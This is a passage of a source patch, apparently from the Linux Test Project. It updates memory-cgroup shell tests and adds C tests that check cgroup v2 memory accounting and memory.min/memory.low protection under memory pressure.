+	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES $PAGESIZES false
 }
 
 test6()
 {
-	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES true
+	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES $PAGESIZES true
 }
 
 test7()
 {
-	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 true
+	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 0 true
 }
 
 test8()
 {
-	test_mem_stat "--shm -k 8" $PAGESIZE $PAGESIZE "rss" 0 true
+	test_mem_stat "--shm -k 8" $PAGESIZE $PAGESIZE "rss" 0 0 true
 }
 
 test9()
 {
 	test_mem_stat "--mmap-anon --mmap-file --shm" \
-		$PAGESIZES $((PAGESIZES * 3)) "rss" $PAGESIZES true
+		$PAGESIZES $((PAGESIZES * 3)) "rss" $PAGESIZES $PAGESIZES true
 }
 
 test10()
 {
-	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES true
+	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES $PAGESIZES true
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
index 925c4ec..28c1fcd 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
@@ -9,33 +9,32 @@
 MEMCG_TESTFUNC=test
 TST_CNT=8
 
-. memcg_lib.sh
 
 test1()
 {
 	tst_res TINFO "Test cache"
-	test_mem_stat "--shm -k 3" $PAGESIZES $PAGESIZES "cache" $PAGESIZES false
+	test_mem_stat "--shm -k 3" $PAGESIZES $PAGESIZES "cache" $PAGESIZES $PAGESIZES false
 }
 
 test2()
 {
 	tst_res TINFO "Test mapped_file"
 	test_mem_stat "--mmap-file" $PAGESIZES $PAGESIZES \
-		"mapped_file" $PAGESIZES false
+		"mapped_file" $PAGESIZES $PAGESIZES false
 }
 
 test3()
 {
 	tst_res TINFO "Test unevictable with MAP_LOCKED"
 	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES \
-		"unevictable" $PAGESIZES false
+		"unevictable" $PAGESIZES $PAGESIZES false
 }
 
 test4()
 {
 	tst_res TINFO "Test unevictable with mlock"
 	test_mem_stat "--mmap-lock2" $PAGESIZES $PAGESIZES \
-		"unevictable" $PAGESIZES false
+		"unevictable" $PAGESIZES $PAGESIZES false
 }
 
 test5()
@@ -43,12 +42,14 @@
 	tst_res TINFO "Test hierarchical_memory_limit with enabling hierarchical accounting"
 	echo 1 > memory.use_hierarchy
 
-	mkdir subgroup
-	echo $PAGESIZES > memory.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.limit_in_bytes
+	local limit=$(memcg_adjust_limit_for_kmem $PAGESIZES)
+
+	ROD mkdir subgroup
+	EXPECT_PASS echo $limit \> memory.limit_in_bytes
+	EXPECT_PASS echo $((limit + PAGESIZES * 2)) \> subgroup/memory.limit_in_bytes
 
 	cd subgroup
-	check_mem_stat "hierarchical_memory_limit" $PAGESIZES
+	check_mem_stat "hierarchical_memory_limit" $limit
 
 	cd ..
 	rmdir subgroup
@@ -59,11 +60,11 @@
 	tst_res TINFO "Test hierarchical_memory_limit with disabling hierarchical accounting"
 	memcg_require_hierarchy_disabled
 
-	echo 0 > memory.use_hierarchy
+	ROD echo 0 \> memory.use_hierarchy
 
-	mkdir subgroup
-	echo $PAGESIZES > memory.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.limit_in_bytes
+	ROD mkdir subgroup
+	EXPECT_PASS echo $PAGESIZES \> memory.limit_in_bytes
+	EXPECT_PASS echo $((PAGESIZES * 2)) \> subgroup/memory.limit_in_bytes
 
 	cd subgroup
 	check_mem_stat "hierarchical_memory_limit" $((PAGESIZES * 2))
@@ -79,11 +80,11 @@
 
 	ROD echo 1 \> memory.use_hierarchy
 
-	mkdir subgroup
-	echo $PAGESIZES > memory.limit_in_bytes
-	echo $PAGESIZES > memory.memsw.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.memsw.limit_in_bytes
+	ROD mkdir subgroup
+	EXPECT_PASS echo $PAGESIZES \> memory.limit_in_bytes
+	EXPECT_PASS echo $PAGESIZES \> memory.memsw.limit_in_bytes
+	EXPECT_PASS echo $((PAGESIZES * 2)) \> subgroup/memory.limit_in_bytes
+	EXPECT_PASS echo $((PAGESIZES * 2)) \> subgroup/memory.memsw.limit_in_bytes
 
 	cd subgroup
 	check_mem_stat "hierarchical_memsw_limit" $PAGESIZES
@@ -100,11 +101,11 @@
 
 	ROD echo 0 \> memory.use_hierarchy
 
-	mkdir subgroup
-	echo $PAGESIZES > memory.limit_in_bytes
-	echo $PAGESIZES > memory.memsw.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.limit_in_bytes
-	echo $((PAGESIZES * 2)) > subgroup/memory.memsw.limit_in_bytes
+	ROD mkdir subgroup
+	EXPECT_PASS echo $PAGESIZES \> memory.limit_in_bytes
+	EXPECT_PASS echo $PAGESIZES \> memory.memsw.limit_in_bytes
+	EXPECT_PASS echo $((PAGESIZES * 2)) \> subgroup/memory.limit_in_bytes
+	EXPECT_PASS echo $((PAGESIZES * 2)) \> subgroup/memory.memsw.limit_in_bytes
 
 	cd subgroup
 	check_mem_stat "hierarchical_memsw_limit" $((PAGESIZES * 2))
@@ -113,4 +114,5 @@
 	rmdir subgroup
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
index 9b23177..9bcc012 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
@@ -12,18 +12,20 @@
 MEMCG_TESTFUNC=test
 TST_CNT=3
 
-. memcg_lib.sh
-
 # Test the memory charge won't move to subgroup
-# $1 - memory.limit_in_bytes in parent group
-# $2 - memory.limit_in_bytes in sub group
+# $1 - memory.limit_in_bytes in sub group
 test_subgroup()
 {
-	mkdir subgroup
-	echo $1 > memory.limit_in_bytes
-	echo $2 > subgroup/memory.limit_in_bytes
+	local limit_subgroup=$1
 
-	start_memcg_process --mmap-anon -s $PAGESIZES
+	if [ $limit_subgroup -ne 0 ]; then
+		limit_subgroup=$(memcg_adjust_limit_for_kmem $limit_subgroup)
+	fi
+
+	ROD mkdir subgroup
+	EXPECT_PASS echo $limit_subgroup \> subgroup/memory.limit_in_bytes
+
+	start_memcg_process --mmap-anon -s $MEM_TO_ALLOC
 
 	warmup
 	if [ $? -ne 0 ]; then
@@ -31,8 +33,8 @@
 	fi
 
 	echo $MEMCG_PROCESS_PID > tasks
-	signal_memcg_process $PAGESIZES
-	check_mem_stat "rss" $PAGESIZES
+	signal_memcg_process $MEM_TO_ALLOC
+	check_mem_stat "rss" $MEM_TO_ALLOC
 
 	cd subgroup
 	echo $MEMCG_PROCESS_PID > tasks
@@ -47,17 +49,22 @@
 test1()
 {
 	tst_res TINFO "Test that group and subgroup have no relationship"
-	test_subgroup $PAGESIZES $((2 * PAGESIZES))
+	test_subgroup $((2 * MEM_TO_ALLOC))
 }
 
 test2()
 {
-	test_subgroup $PAGESIZES $PAGESIZES
+	test_subgroup $MEM_TO_ALLOC
 }
 
 test3()
 {
-	test_subgroup $PAGESIZES 0
+	test_subgroup 0
 }
 
+. memcg_lib.sh
+
+# Allocate memory bigger than per-cpu kernel memory
+MEM_TO_ALLOC=$((PAGESIZES * 2))
+
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
index e77d6bf..125d88e 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
@@ -9,16 +9,12 @@
 MEMCG_TESTFUNC=test
 TST_CNT=2
 
-. memcg_lib.sh
-
-MEM_TO_ALLOC=$((PAGESIZE * 1024))
-MEM_LIMIT=$((MEM_TO_ALLOC * 2))
-
 test1()
 {
 	tst_res TINFO "Test memory.usage_in_bytes"
 	test_mem_stat "--mmap-anon" $MEM_TO_ALLOC $MEM_TO_ALLOC \
-		"memory.usage_in_bytes" $MEM_TO_ALLOC false
+		"memory.usage_in_bytes" $MEM_TO_ALLOC \
+		$MEM_EXPECTED_UPPER false
 }
 
 test2()
@@ -26,10 +22,17 @@
 	tst_res TINFO "Test memory.memsw.usage_in_bytes"
 	memcg_require_memsw
 
-	echo $MEM_LIMIT > memory.limit_in_bytes
-	echo $MEM_LIMIT > memory.memsw.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.memsw.limit_in_bytes
 	test_mem_stat "--mmap-anon" $MEM_TO_ALLOC $MEM_TO_ALLOC \
-		"memory.memsw.usage_in_bytes" $MEM_TO_ALLOC false
+		"memory.memsw.usage_in_bytes" $MEM_TO_ALLOC \
+		$MEM_EXPECTED_UPPER false
 }
 
+. memcg_lib.sh
+
+MEM_TO_ALLOC=$((PAGESIZE * 1024))
+MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE))
+MEM_LIMIT=$((MEM_TO_ALLOC * 2))
+
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
index 8be3424..f17ba11 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
@@ -9,18 +9,19 @@
 MEMCG_TESTFUNC=test
 TST_CNT=3
 
-. memcg_lib.sh
 
 test1()
 {
 	tst_res TINFO "test if one of the ancestors goes over its limit, the proces will be killed"
 
-	echo 1 > memory.use_hierarchy
-	echo $PAGESIZE > memory.limit_in_bytes
+	local limit=$(memcg_adjust_limit_for_kmem $PAGESIZE)
 
-	mkdir subgroup
+	ROD echo 1 \> memory.use_hierarchy
+	ROD echo $limit \> memory.limit_in_bytes
+
+	ROD mkdir subgroup
 	cd subgroup
-	test_proc_kill $((PAGESIZE * 3)) "--mmap-lock1" $((PAGESIZE * 2)) 0
+	test_proc_kill $((limit + PAGESIZE * 3)) "--mmap-lock1" $((limit + PAGESIZE * 2)) 0
 
 	cd ..
 	rmdir subgroup
@@ -32,7 +33,7 @@
 
 	memcg_require_hierarchy_disabled
 
-	mkdir subgroup
+	ROD mkdir subgroup
 	EXPECT_FAIL echo 1 \> memory.use_hierarchy
 
 	rmdir subgroup
@@ -44,11 +45,12 @@
 
 	memcg_require_hierarchy_disabled
 
-	echo 1 > memory.use_hierarchy
+	ROD echo 1 > memory.use_hierarchy
 	mkdir subgroup
 	EXPECT_FAIL echo 0 \> subgroup/memory.use_hierarchy
 
 	rmdir subgroup
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/memcontrol01.c b/testcases/kernel/controllers/memcg/memcontrol01.c
new file mode 100644
index 0000000..935b977
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol01.c
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: GPL-2.0
+/*\
+ *
+ * [Description]
+ *
+ * Conversion of the first kself test in cgroup/test_memcontrol.c.
+ * This test creates two nested cgroups with and without enabling the
+ * memory controller.
+ *
+ * The LTP API automatically adds controllers to subtree_control when
+ * a child cgroup is added. So unlike the kselftest we remove the
+ * controller after it being added automatically.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+
+#include "tst_test.h"
+
+static struct tst_cg_group *parent, *child;
+static struct tst_cg_group *parent2, *child2;
+
+static void test_memcg_subtree_control(void)
+{
+	parent = tst_cg_group_mk(tst_cg, "memcg_test_0");
+	child = tst_cg_group_mk(parent, "memcg_test_1");
+	parent2 = tst_cg_group_mk(tst_cg, "memcg_test_2");
+	child2 = tst_cg_group_mk(parent2, "memcg_test_3");
+
+	SAFE_CG_PRINT(parent2, "cgroup.subtree_control", "-memory");
+
+	TST_EXP_POSITIVE(
+		SAFE_CG_OCCURSIN(child, "cgroup.controllers", "memory"),
+		"child should have memory controller");
+	TST_EXP_POSITIVE(
+		!SAFE_CG_OCCURSIN(child2, "cgroup.controllers", "memory"),
+		"child2 should not have memory controller");
+
+	child2 = tst_cg_group_rm(child2);
+	parent2 = tst_cg_group_rm(parent2);
+	child = tst_cg_group_rm(child);
+	parent = tst_cg_group_rm(parent);
+}
+
+static void cleanup(void)
+{
+	if (child2)
+		child2 = tst_cg_group_rm(child2);
+	if (parent2)
+		parent2 = tst_cg_group_rm(parent2);
+	if (child)
+		child = tst_cg_group_rm(child);
+	if (parent)
+		parent = tst_cg_group_rm(parent);
+}
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.test_all = test_memcg_subtree_control,
+	.needs_cgroup_ver = TST_CG_V2,
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
+};
diff --git a/testcases/kernel/controllers/memcg/memcontrol02.c b/testcases/kernel/controllers/memcg/memcontrol02.c
new file mode 100644
index 0000000..1656176
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol02.c
@@ -0,0 +1,143 @@
+// SPDX-License-Identifier: GPL-2.0
+/*\
+ *
+ * [Description]
+ *
+ * Conversion of second kself test in cgroup/test_memcontrol.c.
+ *
+ * Original description:
+ * "This test creates a memory cgroup, allocates some anonymous memory
+ * and some pagecache and check memory.current and some memory.stat
+ * values."
+ *
+ * Note that the V1 rss and cache counters were renamed to anon and
+ * file in V2. Besides error reporting, this test differs from the
+ * kselftest in the following ways:
+ *
+ * . It supports V1.
+ * . It writes instead of reads to fill the page cache. Because no
+ *   pages were allocated on tmpfs.
+ * . It runs on most filesystems available
+ * . On EXFAT and extN we change the margin of error between all and file
+ *   memory to 50%. Because these allocate non-page-cache memory during writes.
+ */
+#define _GNU_SOURCE
+
+#include "memcontrol_common.h"
+
+static size_t page_size;
+static struct tst_cg_group *cg_child;
+static int fd;
+static int file_to_all_error = 10;
+
+static void alloc_anon_50M_check(void)
+{
+	const ssize_t size = MB(50);
+	char *buf, *ptr;
+	ssize_t anon, current;
+	const char *const anon_key_fmt =
+		TST_CG_VER_IS_V1(tst_cg, "memory") ? "rss %zd" : "anon %zd";
+
+	buf = SAFE_MALLOC(size);
+	for (ptr = buf; ptr < buf + size; ptr += page_size)
+		*ptr = 0;
+
+	SAFE_CG_SCANF(cg_child, "memory.current", "%zd", &current);
+	TST_EXP_EXPR(current >= size,
+		     "(memory.current=%zd) >= (size=%zd)", current, size);
+
+	SAFE_CG_LINES_SCANF(cg_child, "memory.stat", anon_key_fmt, &anon);
+
+	TST_EXP_EXPR(anon > 0, "(memory.stat.anon=%zd) > 0", anon);
+	TST_EXP_EXPR(values_close(size, anon, 3),
+		     "(size=%zd) ~= (memory.stat.anon=%zd)", size, anon);
+	TST_EXP_EXPR(values_close(anon, current, 3),
+		     "(memory.current=%zd) ~= (memory.stat.anon=%zd)",
+		     current, anon);
+}
+
+static void alloc_pagecache_50M_check(void)
+{
+	const size_t size = MB(50);
+	size_t current, file;
+	const char *const file_key_fmt =
+		TST_CG_VER_IS_V1(tst_cg, "memory") ? "cache %zd" : "file %zd";
+
+	fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600);
+
+	SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &current);
+	tst_res(TINFO, "Created temp file: memory.current=%zu", current);
+
+	alloc_pagecache(fd, size);
+
+	SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &current);
+	TST_EXP_EXPR(current >= size,
+			 "(memory.current=%zu) >= (size=%zu)", current, size);
+
+	SAFE_CG_LINES_SCANF(cg_child, "memory.stat", file_key_fmt, &file);
+	TST_EXP_EXPR(file > 0, "(memory.stat.file=%zd) > 0", file);
+
+	TST_EXP_EXPR(values_close(file, current, file_to_all_error),
+			 "(memory.current=%zd) ~= (memory.stat.file=%zd)",
+			 current, file);
+
+	SAFE_CLOSE(fd);
+}
+
+static void test_memcg_current(unsigned int n)
+{
+	size_t current;
+
+	cg_child = tst_cg_group_mk(tst_cg, "child");
+	SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &current);
+	TST_EXP_EXPR(current == 0, "(current=%zu) == 0", current);
+
+	if (!SAFE_FORK()) {
+		SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
+
+		SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &current);
+		tst_res(TINFO, "Added proc to memcg: memory.current=%zu",
+			current);
+
+		if (!n)
+			alloc_anon_50M_check();
+		else
+			alloc_pagecache_50M_check();
+	} else {
+		tst_reap_children();
+		cg_child = tst_cg_group_rm(cg_child);
+	}
+}
+
+static void setup(void)
+{
+	page_size = SAFE_SYSCONF(_SC_PAGESIZE);
+
+	switch (tst_fs_type(TMPDIR)) {
+	case TST_VFAT_MAGIC:
+	case TST_EXFAT_MAGIC:
+	case TST_EXT234_MAGIC:
+		file_to_all_error = 50;
+		break;
+	}
+}
+
+static void cleanup(void)
+{
+	if (cg_child)
+		cg_child = tst_cg_group_rm(cg_child);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.tcnt = 2,
+	.test = test_memcg_current,
+	.mount_device = 1,
+	.dev_min_size = 256,
+	.mntpoint = TMPDIR,
+	.all_filesystems = 1,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
+};
diff --git a/testcases/kernel/controllers/memcg/memcontrol03.c b/testcases/kernel/controllers/memcg/memcontrol03.c
new file mode 100644
index 0000000..bc726f3
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol03.c
@@ -0,0 +1,253 @@
+// SPDX-License-Identifier: GPL-2.0
+/*\
+ *
+ * [Description]
+ *
+ * Conversion of the third kself test in cgroup/test_memcontrol.c.
+ *
+ * Original description:
+ * "First, this test creates the following hierarchy:
+ * A       memory.min = 50M,  memory.max = 200M
+ * A/B     memory.min = 50M,  memory.current = 50M
+ * A/B/C   memory.min = 75M,  memory.current = 50M
+ * A/B/D   memory.min = 25M,  memory.current = 50M
+ * A/B/E   memory.min = 500M, memory.current = 0
+ * A/B/F   memory.min = 0,    memory.current = 50M
+ *
+ * Usages are pagecache, but the test keeps a running
+ * process in every leaf cgroup.
+ * Then it creates A/G and creates a significant
+ * memory pressure in it.
+ *
+ * A/B    memory.current ~= 50M
+ * A/B/C  memory.current ~= 33M
+ * A/B/D  memory.current ~= 17M
+ * A/B/E  memory.current ~= 0
+ *
+ * After that it tries to allocate more than there is unprotected
+ * memory in A available, and checks that memory.min protects
+ * pagecache even in this case."
+ *
+ * memory.min doesn't appear to exist on V1 so we only test on V2 like
+ * the selftest. We do test on more file systems, but not tempfs
+ * becaue it can't evict the page cache without swap. Also we avoid
+ * filesystems which allocate extra memory for buffer heads.
+ *
+ * The tolerances have been increased from the self tests.
+ */
+
+#define _GNU_SOURCE
+
+#include <inttypes.h>
+
+#include "memcontrol_common.h"
+
+#define TMPDIR "mntdir"
+
+static struct tst_cg_group *trunk_cg[3];
+static struct tst_cg_group *leaf_cg[4];
+static int fd = -1;
+
+enum checkpoints {
+	CHILD_IDLE,
+	TEST_DONE,
+};
+
+enum trunk_cg {
+	A,
+	B,
+	G
+};
+
+enum leaf_cg {
+	C,
+	D,
+	E,
+	F
+};
+
+static void cleanup_sub_groups(void)
+{
+	size_t i;
+
+	for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) {
+		if (!leaf_cg[i - 1])
+			continue;
+
+		TST_CHECKPOINT_WAKE2(TEST_DONE,
+				     ARRAY_SIZE(leaf_cg) - 1);
+		tst_reap_children();
+		break;
+	}
+
+	for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) {
+		if (!leaf_cg[i - 1])
+			continue;
+
+		leaf_cg[i - 1] = tst_cg_group_rm(leaf_cg[i - 1]);
+	}
+
+	for (i = ARRAY_SIZE(trunk_cg); i > 0; i--) {
+		if (!trunk_cg[i - 1])
+			continue;
+
+		trunk_cg[i - 1] = tst_cg_group_rm(trunk_cg[i - 1]);
+	}
+}
+
+static void alloc_anon_in_child(const struct tst_cg_group *const cg,
+				const size_t size, const int expect_oom)
+{
+	int status;
+	const pid_t pid = SAFE_FORK();
+
+	if (!pid) {
+		SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
+
+		tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
+		getpid(), tst_cg_group_name(cg), size);
+		alloc_anon(size);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (expect_oom && WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
+		tst_res(TPASS, "Child %d killed by OOM", pid);
+		return;
+	}
+
+	if (!expect_oom && WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(TPASS, "Child %d exited", pid);
+		return;
+	}
+
+	tst_res(TFAIL,
+		"Expected child %d to %s, but instead %s",
+		pid,
+		expect_oom ? "be killed" : "exit(0)",
+		tst_strstatus(status));
+}
+
+static void alloc_pagecache_in_child(const struct tst_cg_group *const cg,
+				     const size_t size)
+{
+	const pid_t pid = SAFE_FORK();
+
+	if (pid) {
+		TST_CHECKPOINT_WAIT(CHILD_IDLE);
+		return;
+	}
+
+	SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
+
+	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR,
+		getpid(), tst_cg_group_name(cg), size);
+	alloc_pagecache(fd, size);
+
+	TST_CHECKPOINT_WAKE(CHILD_IDLE);
+	TST_CHECKPOINT_WAIT(TEST_DONE);
+	exit(0);
+}
+
+static void test_memcg_min(void)
+{
+	long c[4];
+	unsigned int i;
+	size_t attempts;
+
+	fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600);
+	trunk_cg[A] = tst_cg_group_mk(tst_cg, "trunk_A");
+
+	SAFE_CG_SCANF(trunk_cg[A], "memory.min", "%ld", c);
+	if (c[0]) {
+		tst_brk(TCONF,
+			"memory.min already set to %ld on parent group", c[0]);
+	}
+
+	SAFE_CG_PRINT(trunk_cg[A], "cgroup.subtree_control", "+memory");
+
+	SAFE_CG_PRINT(trunk_cg[A], "memory.max", "200M");
+	SAFE_CG_PRINT(trunk_cg[A], "memory.swap.max", "0");
+
+	trunk_cg[B] = tst_cg_group_mk(trunk_cg[A], "trunk_B");
+
+	SAFE_CG_PRINT(trunk_cg[B], "cgroup.subtree_control", "+memory");
+
+	trunk_cg[G] = tst_cg_group_mk(trunk_cg[A], "trunk_G");
+
+	for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) {
+		leaf_cg[i] = tst_cg_group_mk(trunk_cg[B],
+						 "leaf_%c", 'C' + i);
+
+		if (i == E)
+			continue;
+
+		alloc_pagecache_in_child(leaf_cg[i], MB(50));
+	}
+
+	SAFE_CG_PRINT(trunk_cg[A], "memory.min", "50M");
+	SAFE_CG_PRINT(trunk_cg[B], "memory.min", "50M");
+	SAFE_CG_PRINT(leaf_cg[C], "memory.min", "75M");
+	SAFE_CG_PRINT(leaf_cg[D], "memory.min", "25M");
+	SAFE_CG_PRINT(leaf_cg[E], "memory.min", "500M");
+	SAFE_CG_PRINT(leaf_cg[F], "memory.min", "0");
+
+	for (attempts = 0; attempts < 5; attempts++) {
+		SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c);
+		if (values_close(c[0], MB(150), 3))
+			break;
+
+		sleep(1);
+	}
+
+	alloc_anon_in_child(trunk_cg[G], MB(148), 0);
+
+	SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c);
+	TST_EXP_EXPR(values_close(c[0], MB(50), 5),
+		     "(A/B memory.current=%ld) ~= %d", c[0], MB(50));
+
+	for (i = 0; i < ARRAY_SIZE(leaf_cg); i++)
+		SAFE_CG_SCANF(leaf_cg[i], "memory.current", "%ld", c + i);
+
+	TST_EXP_EXPR(values_close(c[0], MB(33), 20),
+		     "(A/B/C memory.current=%ld) ~= %d", c[0], MB(33));
+	TST_EXP_EXPR(values_close(c[1], MB(17), 20),
+		     "(A/B/D memory.current=%ld) ~= %d", c[1], MB(17));
+	TST_EXP_EXPR(values_close(c[2], 0, 1),
+		     "(A/B/E memory.current=%ld) ~= 0", c[2]);
+
+	alloc_anon_in_child(trunk_cg[G], MB(170), 1);
+
+	SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c);
+	TST_EXP_EXPR(values_close(c[0], MB(50), 5),
+		     "(A/B memory.current=%ld) ~= %d", c[0], MB(50));
+
+	cleanup_sub_groups();
+	SAFE_CLOSE(fd);
+	SAFE_UNLINK(TMPDIR"/tmpfile");
+}
+
+static void cleanup(void)
+{
+	cleanup_sub_groups();
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.test_all = test_memcg_min,
+	.mount_device = 1,
+	.dev_min_size = 256,
+	.mntpoint = TMPDIR,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]){
+		"exfat", "vfat", "fuse", "ntfs", "tmpfs", NULL
+	},
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.needs_cgroup_ver = TST_CG_V2,
+	.needs_cgroup_ctrls = (const char *const[]){ "memory", NULL },
+};
diff --git a/testcases/kernel/controllers/memcg/memcontrol04.c b/testcases/kernel/controllers/memcg/memcontrol04.c
new file mode 100644
index 0000000..c963a1c
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol04.c
@@ -0,0 +1,253 @@
+// SPDX-License-Identifier: GPL-2.0
+/*\
+ *
+ * [Description]
+ *
+ * Conversion of the forth kself test in cgroup/test_memcontrol.c.
+ *
+ * Original description:
+ * "First, this test creates the following hierarchy:
+ * A       memory.low = 50M,  memory.max = 200M
+ * A/B     memory.low = 50M,  memory.current = 50M
+ * A/B/C   memory.low = 75M,  memory.current = 50M
+ * A/B/D   memory.low = 25M,  memory.current = 50M
+ * A/B/E   memory.low = 500M, memory.current = 0
+ * A/B/F   memory.low = 0,    memory.current = 50M
+ *
+ * Usages are pagecache
+ * Then it creates A/G and creates a significant
+ * memory pressure in it.
+ *
+ * A/B    memory.current ~= 50M
+ * A/B/C  memory.current ~= 33M
+ * A/B/D  memory.current ~= 17M
+ * A/B/E  memory.current ~= 0
+ *
+ * After that it tries to allocate more than there is unprotected
+ * memory in A available, and checks that memory.low protects
+ * pagecache even in this case."
+ *
+ * The closest thing to memory.low on V1 is soft_limit_in_bytes which
+ * uses a different mechanism and has different semantics. So we only
+ * test on V2 like the selftest. We do test on more file systems, but
+ * not tempfs becaue it can't evict the page cache without swap. Also
+ * we avoid filesystems which allocate extra memory for buffer heads.
+ *
+ * The tolerances have been increased from the self tests.
+ */
+
+#define _GNU_SOURCE
+
+#include <inttypes.h>
+
+#include "memcontrol_common.h"
+
+#define TMPDIR "mntdir"
+
+static struct tst_cg_group *trunk_cg[3];
+static struct tst_cg_group *leaf_cg[4];
+static int fd = -1;
+
+enum checkpoints {
+	CHILD_IDLE
+};
+
+enum trunk_cg {
+	A,
+	B,
+	G
+};
+
+enum leaf_cg {
+	C,
+	D,
+	E,
+	F
+};
+
+static void cleanup_sub_groups(void)
+{
+	size_t i;
+
+	for (i = ARRAY_SIZE(leaf_cg); i > 0; i--) {
+		if (!leaf_cg[i - 1])
+			continue;
+
+		leaf_cg[i - 1] = tst_cg_group_rm(leaf_cg[i - 1]);
+	}
+
+	for (i = ARRAY_SIZE(trunk_cg); i > 0; i--) {
+		if (!trunk_cg[i - 1])
+			continue;
+
+		trunk_cg[i - 1] = tst_cg_group_rm(trunk_cg[i - 1]);
+	}
+}
+
+static void alloc_anon_in_child(const struct tst_cg_group *const cg,
+				const size_t size)
+{
+	const pid_t pid = SAFE_FORK();
+
+	if (pid) {
+		tst_reap_children();
+		return;
+	}
+
+	SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
+
+	tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
+		getpid(), tst_cg_group_name(cg), size);
+	alloc_anon(size);
+
+	exit(0);
+}
+
+static void alloc_pagecache_in_child(const struct tst_cg_group *const cg,
+				     const size_t size)
+{
+	const pid_t pid = SAFE_FORK();
+
+	if (pid) {
+		tst_reap_children();
+		return;
+	}
+
+	SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
+
+	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR,
+		getpid(), tst_cg_group_name(cg), size);
+	alloc_pagecache(fd, size);
+
+	exit(0);
+}
+
+static void test_memcg_low(void)
+{
+	long c[4];
+	unsigned int i;
+
+	fd = SAFE_OPEN(TMPDIR"/tmpfile", O_RDWR | O_CREAT, 0600);
+	trunk_cg[A] = tst_cg_group_mk(tst_cg, "trunk_A");
+
+	SAFE_CG_SCANF(trunk_cg[A], "memory.low", "%ld", c);
+	if (c[0]) {
+		tst_brk(TCONF,
+			"memory.low already set to %ld on parent group", c[0]);
+	}
+
